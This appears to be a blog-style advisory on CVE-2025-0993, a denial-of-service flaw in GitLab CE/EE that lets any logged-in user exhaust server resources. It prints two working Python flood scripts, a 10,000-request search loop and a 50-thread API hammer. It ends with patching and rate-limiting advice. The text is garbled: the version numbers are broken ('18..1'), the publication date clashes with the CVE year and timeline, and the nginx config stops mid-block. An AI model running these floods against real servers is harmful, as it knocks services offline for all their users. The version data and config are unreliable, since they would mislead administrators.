Published: June 2024
Severity: Moderate
Affected Products: GitLab Community Edition (CE) and Enterprise Edition (EE)
Versions: All versions before 17.10.7, 17.11 before 17.11.3, and 18. before 18..1
CVE Reference: CVE-2025-0993

What is CVE-2025-0993?

A newly discovered vulnerability, CVE-2025-0993, affects GitLab CE/EE installations prior to the versions listed above. The vulnerability allows any authenticated user, including those with low privileges, to intentionally exhaust server resources, effectively causing a denial-of-service (DoS). This means your server can slow down significantly or even become unavailable for everyone.

How Does the Vulnerability Work?

GitLab’s web application provides resource-intensive features accessible after user login, such as project searching, MR queries, or API endpoints that deal with large data sets. If these actions lack proper rate-limiting or resource management, an attacker can abuse the endpoints—making many concurrent, heavy requests, exhausting CPU, memory, or database resources.

This bug specifically lets an authenticated attacker craft requests that are repeatedly processed by GitLab, eating up server memory and processing power until the service slows down or crashes.

Example: How it is Exploited

Let’s say an authenticated user has access to a project or API. By sending multiple large search requests, or repeatedly invoking heavy API actions in quick succession, the attacker can overload the backend.

Here’s what a simple loop using Python might look like (for educational purposes only!)

import requests

session = requests.Session()
login_url = 'https://your.gitlab.instance/users/sign_in';
search_url = 'https://your.gitlab.instance/search?search=somethingverybroad&type=projects';

# First, login to GitLab (you need to have an account)
payload = {
    'user[login]': 'attacker_username',
    'user[password]': 'attacker_password'
}
session.post(login_url, data=payload)

# Now, perform a tight loop of heavy searches
for _ in range(10000):
    resp = session.get(search_url)
    print(f'Done {_} - Status: {resp.status_code}')

Or, using a multi-threaded approach to increase resource use

import requests
import threading

def attack():
    url = "https://your.gitlab.instance/api/v4/projects?per_page=100";
    headers = {'PRIVATE-TOKEN': 'YOUR_API_TOKEN'}
    for i in range(100):
        requests.get(url, headers=headers)
        print(f'Request {i} sent')

threads = []
for _ in range(50):  # 50 threads
    t = threading.Thread(target=attack)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

If rate-limiting is not set, or the endpoint is not protected, this kind of loop can easily overwhelm the server.

Resource Exhaustion: May lead to high cloud bills or disk exhaustion depending on your setup.

- Potential for Exploitation: Any user with a valid login can exploit this; attackers don’t need high privileges.

18..1

If you are using a version older than those listed above, you are vulnerable and should update immediately.
See the GitLab Security Advisory for full details.

How to Protect Yourself

1. Patch Now: Upgrade to the latest GitLab CE/EE release (at least the fixed versions).
2. Monitor User Activity: Watch for suspicious behavior from authenticated users—especially lots of identical requests.
3. Set Up Rate Limiting: Use reverse proxies (e.g., NGINX, HAProxy) to rate-limit traffic if GitLab rate-limiting is not enabled.

`nginx

limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

server {

location / {

References and Further Reading

- GitLab Security Advisory for CVE-2025-0993
- GitLab Issue Tracker Discussion
- OWASP Resource Exhaustion
- GitLab Documentation: Rate Limiting

TL;DR

- Vulnerability: CVE-2025-0993 allows authenticated users to exhaust server resources in GitLab CE/EE up to v17.10.7, v17.11.3, and v18..1.

Exploit: Abusing resource-heavy requests with loops or scripts.

- Fix: Upgrade to the latest version, monitor user activity, and enable/request-rate limiters.

Always keep your software patched, and don’t underestimate low-privileged user risk!

*Written exclusively for you. If you share, please credit the author and link back to the original references above.*

Timeline

Published on: 05/22/2025 15:16:04 UTC
Last modified on: 05/29/2025 15:58:42 UTC